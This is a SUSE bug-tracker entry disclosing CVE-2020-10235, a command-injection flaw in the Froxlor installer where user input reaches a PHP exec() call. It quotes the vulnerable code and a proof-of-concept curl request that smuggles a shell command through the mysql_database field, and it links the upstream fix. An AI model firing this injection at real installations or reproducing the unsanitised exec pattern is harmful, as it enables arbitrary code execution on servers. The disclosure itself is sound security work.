*First Last Prev Next    This bug is not in your last search results.*

# ~~Bug 1165721 - (CVE-2020-10235) VUL-0: CVE-2020-10235: froxlor: Installer allows user to execute arbitrary code on the host~~

| | |
|---|---|
| **Status:** | RESOLVED WONTFIX |
| **Classification:** | Novell Products |
| **Product:** | SUSE Security Incidents |
| **Component:** | Incidents |
| **Version:** | unspecified |
| **Hardware:** | Other Other |
| **Priority:** | P3 - Medium **Severity**: Normal |
| **Target Milestone:** | --- |
| **Assigned To:** | Andrej Semen |
| **QA Contact:** | Security Team bot |
| **URL:** | |
| **Whiteboard:** | |
| **Keywords:** | |
| **Depends on:** | |
| **Blocks:** | |
| | Show dependency tree / graph |

- Create test case
- Clone This Bug

| | |
|---|---|
| **Reported:** | 2020-03-04 16:48 UTC by Johannes Segitz |
| **Modified:** | 2020-03-09 15:12 UTC (History) |
| **CC List:** | 0 users |
| **See Also:** | |
| **Found By:** | --- |
| **Services Priority:** | |
| **Business Priority:** | |
| **Blocker:** | --- |

**Attachments**

Add an attachment (proposed patch, testcase, etc.)

Note

You need to log in before you can comment on or make changes to this bug.

**Johannes Segitz** 2020-03-04 16:48:15 UTC    Description

```
Line numbers are from current git master, but it's also present in froxlor in
Factory
   738                                 $command = $mysql_dump . " " .  $this-
>_data['mysql_database'] . " -u " .  $this->_data['mysql_root_user'] . " --
password='" .  $this->_data['mysql_root_pa       ss'] . "' --result-file=" .
$filename;
   739                                 $output = exec($command);

The user who installs Froxlor can execute arbitrary commands on the server by
setting mysql_database accordingly.

   POC:
   curl -v 'http://192.168.122.254/Froxlor/install/install.php?check=1' -H
'Content-Type: application/x-www-form-urlencoded' --data
'mysql_host=127.0.0.1&mysql_database=froxlor%3Btouch+%2F/tmp/owned%3B&mysql_unpriv_us

You need to run it twice since it only triggers if the specified database exists.
After calling it twice you should have a file
-rw-r--r-- 1 wwwrun www ? 0 Mar  4 17:03 /tmp/owned
```

**Johannes Segitz** 2020-03-09 12:36:43 UTC    Comment 2

```
Fix:
https://github.com/Froxlor/Froxlor/commit/7e361274c5bf687b6a42dd1871f6d75506c5d207
https://github.com/Froxlor/Froxlor/commit/62ce21c9ec393f9962515c88f0c489ace42bf656
```

**Johannes Segitz** 2020-03-09 15:12:48 UTC    Comment 3

```
This is CVE-2020-10235. Nothing to do for SLE
```

*First Last Prev Next    This bug is not in your last search results.*

Format For Printing - XML - Clone This Bug - Top of page